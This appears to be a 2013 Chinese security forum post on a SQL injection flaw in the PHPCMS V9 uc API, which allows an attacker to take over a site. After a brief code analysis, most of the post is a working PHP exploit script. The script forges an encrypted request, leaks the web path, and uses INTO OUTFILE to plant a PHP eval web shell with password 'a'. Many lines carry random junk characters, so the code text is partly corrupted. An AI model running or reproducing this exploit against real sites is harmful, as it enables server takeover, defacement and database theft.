找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1911|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。, c! z+ ^9 k# o# D6 B" ~
) v2 U; }- ~: O' C; @% v9 R
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。* b# H; `% Y8 r, m5 T+ V+ v3 a! `
& P& ?9 w  o9 h1 v
漏洞分析:8 T+ D. x' p- Y4 j! B0 i7 D, r
1.未启用ucenter服务的情况下uc_key为空  L0 E. F' n  a  u; n
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
7 D3 O. S1 j4 b4 @( L9 l2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
/ Y* G9 v$ V) x) y2 J) b5 V    public function deleteuser($get,$post) {
% F' d9 R: l4 _7 n1 w. z3 R  {* a        pc_base::load_app_func('global', 'admin');  f9 T. s! I$ L7 _0 v, U
        pc_base::load_app_class('messagequeue', 'admin' , 0);3 S' j! P. q8 Q
        $ids = new_stripslashes($get['ids']);
3 L! s2 @7 [" j! p3 S5 p; a) \        $s = $this->member_db->select("ucuserid in ($ids)", "uid");" ^0 o0 L4 s1 ?3 b
SQL语句为5 @' N7 E8 `: I* r: Q$ b
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids), P+ s0 y5 b+ @+ B  `
! L+ z* q5 g' v: d; `
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell9 {: ?1 z3 N& i' L4 W
<?php3 [- s* `( p% ?- N% S
print_r('8 n7 x( z& ?/ a" N( f4 ?# f7 U
---------------------------------------------------------------------------' v; s) S$ c: Y  s( }! h
PHPcms (v9 or Old Version) uc api sql injection 0day
" R) U3 ^0 i/ G' cby rayh4c#80sec.com7 K3 m2 l- P8 u# d/ L7 }
---------------------------------------------------------------------------
. S& r( w  X) R  c');; `( m, T6 n: }9 a; F
+ w  ^, l* Y$ M6 S% y! ]9 B2 }
if ($argc<3) {- U5 E9 Y8 C( v3 b
    print_r('5 B3 L  Q  [, p' }" L& d. {
---------------------------------------------------------------------------" t% S: @' x( l7 {) t0 S' o1 V' q$ W
Usage: php '.$argv[0].' host path OPTIONS
. p$ @$ b' k' D+ Ghost:      target server (ip/hostname)7 }, j! r' W' [  ]7 Y6 Z# p/ b
path:      path to phpcms; x0 G7 h3 S! E! f' y
Options:
0 e. L# l; K! F( T7 i* H4 O -p[port]:    specify a port other than 80# D; I! D8 u6 X; B
-P[ip:port]: specify a proxy) g3 V- b/ h! Y4 i; u. O
Example:' F: r# M1 E: a
php '.$argv[0].' localhost /
8 ^$ i% C5 U% X% X$ ?* l5 r( vphp '.$argv[0].' localhost /phpcms/ -p810 u+ i8 B3 a, P$ |, [/ s
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
5 P* J* A8 _' Z8 Z) }* M# C---------------------------------------------------------------------------3 N. y3 U" N7 X7 r4 ~# D3 H7 ~
');
5 I8 n' M8 g/ G: n( B    die;% U5 w  v. T9 A0 R3 b* ^
}0 H( n3 U5 h% @3 T8 h5 f# Q3 ~

0 j2 s; y/ g6 p" @: s# Verror_reporting(7);
" Z2 [, R$ k7 ]/ z) J- fini_set("max_execution_time",0);: Q0 h, Q" c0 O+ b5 X: W( ]
ini_set("default_socket_timeout",5);4 N5 [. W( Y: S' I3 s4 T/ y! D

$ [$ l  ]% c/ Y3 |& Kfunction quick_dump($string)
  S+ h- K' w1 ^{: T! l1 k2 X: k4 j, @
  $result='';$exa='';$cont=0;" J2 H8 N( f2 I5 D5 F( l
  for ($i=0; $i<=strlen($string)-1; $i++)
& F* c7 N% x: _9 Y) a  {: R$ @& f; y0 K) F- h5 M1 \
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
3 ~. }) J# X0 U8 X2 ~; J   {$result.="  .";}
: d; s+ L& v9 H1 Y. a3 d   else& E4 D( }7 I+ G5 ?! O1 d! t, q9 L7 y
   {$result.="  ".$string[$i];}. i8 p# X  T/ h$ u+ E8 ]
   if (strlen(dechex(ord($string[$i])))==2)
; d3 D  v2 r3 q$ h* d  q2 k   {$exa.=" ".dechex(ord($string[$i]));}7 J' Z5 X6 \9 ]. S
   else- @( g6 w* A; z
   {$exa.=" 0".dechex(ord($string[$i]));}, i5 O/ f& b2 w; D4 ]
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}/ p3 y  D0 Z3 ^1 r
  }, I- T- v3 e& Y# l4 ^4 G4 B
return $exa."\r\n".$result;8 R) ?9 ?# ~0 R
}
- R- D4 x7 Y4 B- E$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
. L, x( R" j4 z" ~! S  `1 u  p: H
; b) g6 j8 A6 `0 x! tfunction send($packet)" ?' ~, Z5 g+ [7 l% T
{
+ w) F  P7 _& ]* B9 |  global $proxy, $host, $port, $html, $proxy_regex;1 D% {; J  _9 L* K8 W
  if ($proxy=='') {
6 Q) A8 m) ~3 ]3 P, X6 l: T) n9 z3 P* H    $ock=fsockopen(gethostbyname($host),$port);
5 i& N1 P% E; r8 t' ]5 ?  M% Z    if (!$ock) {1 g6 o- P5 `- k' F  C
      echo 'No response from '.$host.':'.$port; die;
, h% T1 `4 e4 i3 u4 h    }
  p; ?" N* b8 d" i. h( s5 d  }9 Y" T& M; o2 F7 Y( M5 Z
  else {
% S5 M. w" n! c3 S" n        $c = preg_match($proxy_regex,$proxy);
5 Y4 K6 h( v, L    if (!$c) {
; G9 }6 B5 Z8 _& e      echo 'Not a valid proxy...';die;' k. R  [) q2 J5 Y9 o; w  |4 U
    }: h) y# p6 U4 u# O$ r  b2 p/ U7 {
    $parts=explode(':',$proxy);
+ V: f! C0 }) y5 N    $parts[1]=(int)$parts[1];
% Q& t* G, @; O$ b5 i, t1 E    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";/ T4 Z# X* Z2 |- z2 M* [
    $ock=fsockopen($parts[0],$parts[1]);2 Q; [6 i1 G/ C. Q
    if (!$ock) {
, \: M6 j/ y& \: }* m1 V      echo 'No response from proxy...';die;
$ x/ B# T2 K4 a$ D+ L. q        }8 T# C, Y# R' c' E' k+ g* H  q3 @
  }& D+ F3 k$ F1 M* Q6 o- X
  fputs($ock,$packet);2 v2 |, B- i( u* d6 {$ H$ H- n
  if ($proxy=='') {
" O7 w6 m9 l) a1 G( \' {    $html='';
1 e* ?4 F+ F/ \0 U5 o; d8 ?8 q6 v' @    while (!feof($ock)) {) @6 v  j* \. o) U) E# C8 k8 L
      $html.=fgets($ock);
, |# B4 g9 a6 g) `9 x0 J% j% o( b' \$ w    }
5 D' o" T' E/ [& G% S1 d! o  }$ ?5 H# R( `: H& r
  else {$ X- F# f* F. q' p3 \
    $html='';
1 u  p& I; p) s# i1 p% T& j1 M* M: \* g    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {' V) @1 q" G- T# m2 m
      $html.=fread($ock,1);
& z& O: M  J6 B    }
) l6 a. P( u7 {1 w2 k- F* a& U  }
6 B5 _  Q2 U3 S  fclose($ock);
- J6 Y) H/ a- E4 D5 d: I% @}
) T4 G/ h+ K) E% c& g: P  h: M! G6 \! }3 P( T: r
$host=$argv[1];/ _. A0 _* t7 ^$ w
$path=$argv[2];& @; j! T: E3 r7 T4 `. m
$port=80;
* s9 m' G% v$ D% P$proxy="";# I) p9 P# j. {5 s4 u5 |! o
for ($i=3; $i<$argc; $i++){
# h7 Y0 K0 ?' q6 }0 C$temp=$argv[$i][0].$argv[$i][1];5 v2 ~$ v& Z- w5 u1 U" Y  ?
if ($temp=="-p")! l/ n. I6 V, K# M$ @5 l; D
{
8 n4 c2 D! L* i0 |  $port=(int)str_replace("-p","",$argv[$i]);/ P& ^4 O" F' K4 d# w1 j( F3 a
}8 @% h9 T% i! `" C
if ($temp=="-P")) E2 C! Y* L) ?+ |* `2 d& g
{$ O  c0 p$ C" l; ~9 g: Y- z; ?
  $proxy=str_replace("-P","",$argv[$i]);; J9 N  Y9 \+ B# r8 `% x, O+ x
}
2 n7 f& D" r. E. c7 q}' N( P* E7 B$ A: b( ?! S

3 _+ e/ h; m& H, Wif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
! L  H0 z9 O5 G3 gif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$ m/ @' U/ ~+ C0 X& f3 Y
/ I4 x2 q) K2 {! u% z; Jfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {1 q/ {8 g) \4 T! t7 I

& n3 v5 p( u% Q) t# H    $ckey_length = 4;' u+ o1 G, m( Y  g7 {
. u8 ^& G8 I* H& A/ v
    $key = md5($key ? $key : '');
  k9 D2 T& U( V  ~2 `) B0 [    $keya = md5(substr($key, 0, 16));1 l+ {& H$ ~0 W' D  g
    $keyb = md5(substr($key, 16, 16));
" B9 b7 V2 p8 x1 A; h5 C    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
( }! Q' h! x9 }5 l. q0 C8 n9 c
+ M+ I9 G7 ^3 K    $cryptkey = $keya.md5($keya.$keyc);6 I# _+ ], g3 E' J
    $key_length = strlen($cryptkey);; C2 d. r3 d/ Q# b0 c* {& i
5 ]% U) }# e0 U+ [, {& @2 f+ T
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;% F: h, |' c5 s* t4 }5 B
    $string_length = strlen($string);8 a! S: y4 O' b0 s5 L
8 V) e1 g! }- H: K$ G: Z4 j
    $result = '';: J; Y# Q- B, W, X# b
    $box = range(0, 255);
1 d, n* U; j) T- _# L3 X' h. S; e3 l3 \! d/ Y4 [( K8 I
    $rndkey = array();
4 c" T+ p/ U# O4 [1 i' n    for($i = 0; $i <= 255; $i++) {
& F" V: I  v+ W. t1 @0 q        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
/ t: ^/ E9 k9 |# D' {. c    }
& ~7 h, z3 x/ Z2 G; Q8 N; Q$ q6 d, z3 v0 D: k
    for($j = $i = 0; $i < 256; $i++) {
" t2 g( x, q2 {$ @. J; i        $j = ($j + $box[$i] + $rndkey[$i]) % 256;3 e* M/ T" e# e
        $tmp = $box[$i];
7 f; v7 h5 E3 C% h# m% {: L        $box[$i] = $box[$j];8 A3 I8 N0 D  r9 g2 [% K
        $box[$j] = $tmp;( k" c/ ~& [( k/ j+ N9 n
    }
3 n+ L4 k- S: V% U$ g: x! E' r+ A" n) M* x
    for($a = $j = $i = 0; $i < $string_length; $i++) {
/ R1 F  q$ C" @* M) w9 r; N        $a = ($a + 1) % 256;
4 c: ]+ M+ G& J% X: K: b# Z9 d8 W% u        $j = ($j + $box[$a]) % 256;9 H+ N/ n  `: ]% t7 w, o# S
        $tmp = $box[$a];8 g( I2 v6 f" A# A8 d" \
        $box[$a] = $box[$j];, q6 V9 B: l: ]) T  o3 N# g% E
        $box[$j] = $tmp;
( Z- p; E: z5 ?( o2 h        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
: D2 N; z1 [  O5 h5 B- Q, K) r    }
# s* h9 W+ _1 n0 W3 Z8 l* o
+ M  }& E; a3 _    if($operation == 'DECODE') {! X. n% i9 Y1 S
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
  ]# B9 b5 R# E$ O& P# D            return substr($result, 26);
/ G# B8 z9 p7 K        } else {4 ~% Y# p1 M" b) F% S, }2 g
            return '';
1 }( a1 |: m8 ]2 l3 @. R        }
0 K* P+ l5 w8 [% n3 f- ^; N    } else {
4 n$ z% \* x0 g! }4 l        return $keyc.str_replace('=', '', base64_encode($result));
) j' G9 P; ], B' U    }# X( m/ t1 `, A5 _) x3 x; T8 Q
7 _8 n& B& l% s4 A: E
}
  [% v, {- H: k) Q+ }* ~
; G  x6 |1 Y/ b8 L; h& Z$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
1 p0 V& Z( r( _* \# R: a+ h. u$SQL = urlencode(authcode($SQL, "ENCODE", ""));
0 b5 I  y1 h, G. t8 pecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
) K1 l3 H+ o6 q% r1 S; E+ U$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";" u6 H" I4 p/ ]0 V# J8 O# K
$packet.="User-Agent: Mozilla/5.0\r\n";5 ^" m8 ~3 L7 v# r( _. w0 M) P
$packet.="Host: ".$host."\r\n";
) N. r3 _/ K8 U) m) n4 c0 j8 y. S. T$packet.="Connection: Close\r\n\r\n";
* |8 W! B! v8 |5 N8 x. X" msend($packet);5 n, \) X' Y, c( Z5 m5 k# N
if(strpos($html,"MySQL Errno") > 0){
, e/ f, V# q! z% u# Necho "[2] 发现存在SQL注入漏洞"."\n";0 h8 }% v, q* o$ e
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
0 ~( f2 N0 p6 {$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
& A+ T7 h9 H* N/ V$packet.="User-Agent: Mozilla/5.0\r\n";
3 Z$ e$ S* s  ^$packet.="Host: ".$host."\r\n";' h( v. Y( t: N* b/ [/ \& _
$packet.="Connection: Close\r\n\r\n";6 P. y& J; k3 G4 j0 s. g/ {
send($packet);1 i7 f0 s. r; B4 a0 B9 B
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);6 |6 w- w! P! T
//print_r($matches);/ ?0 J) q8 J- I- b0 W! D
if(!empty($matches)){
- v7 D3 h1 W3 W: p% r( h# Zecho "[4] 得到web路径 " . $matches[0]."\n";
0 Q9 a, s$ F5 \2 i% C# N2 `! [echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";! C! k; ^9 ?; h% s! x! K2 }6 j
$SQL = "time=999999999999999999999999&ids=1)";
2 o2 a" y4 {5 t! m9 i$ G( Z' D$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";. ~# X- k/ b" @( V2 J$ S
$SQL.="&action=deleteuser";
$ A: t6 a$ r1 M$ T! n+ F9 d/ W, B$SQL = urlencode(authcode($SQL, "ENCODE", ""));4 N* |, B0 k3 @6 T1 ?" f* ^- C
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";- \) v" w" [4 j) x
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";+ Q  d* j( A4 y# c4 z
$packet.="User-Agent: Mozilla/5.0\r\n";5 U) r; S; y6 A& m
$packet.="Host: ".$host."\r\n";
$ t8 w. k9 c% N# s$packet.="Connection: Close\r\n\r\n";
( C, c* H( n# ksend($packet);4 n2 K" N$ T4 s! z  b$ _' t+ u
if(strpos($html,"Access denied") > 0){% J8 g9 H: c1 D) C0 O$ d5 @% J
echo "[-] MYSQL权限过低 禁止写入文件 ";2 f% @" }( J, D! f, s/ f, \
die;( Z" d8 w; [" ~
}, y  ~) e2 Z) I9 e6 r1 J9 K
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";8 R4 l2 a0 N7 r# L/ t& N$ z
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
1 A. c$ c( `* q' j7 h$packet.="User-Agent: Mozilla/5.0\r\n";1 z$ F8 V  d7 R& h; U
$packet.="Host: ".$host."\r\n";
) ^1 i6 T# _' f0 v( `# \6 c$packet.="Connection: Close\r\n\r\n";
$ I1 b+ Z0 _& Y9 c5 [0 |  A3 msend($packet);$ M. q9 d* X: f6 _0 M" V
if(strpos($html,"<title>phpinfo()</title>") > 0){7 E% p3 K% l  h0 @
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
" h! s( E4 Q" U3 [7 h8 ^) D6 l2 k}! _$ }* ?& F* n* I( d. H
}else{
( p5 g( N: D# a; Secho "[-]未取到web路径 ";" q3 l5 o. e! X" ?, ^4 f
}" o7 _- N8 H4 e+ ?( c$ w
}else{
  R& ^; Z% x. ~+ {9 g& k6 j$ J# ]/ recho "[*]不存在SQL注入漏洞"."\n";1 B' W: s- K3 K$ y' i6 F0 K
}: [( u4 G3 ~: K' Y+ \' v
  D2 d" K7 l5 S6 T5 P+ B/ m
?>
' I! ?5 e1 P# R& I" D1 x. J  I( S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表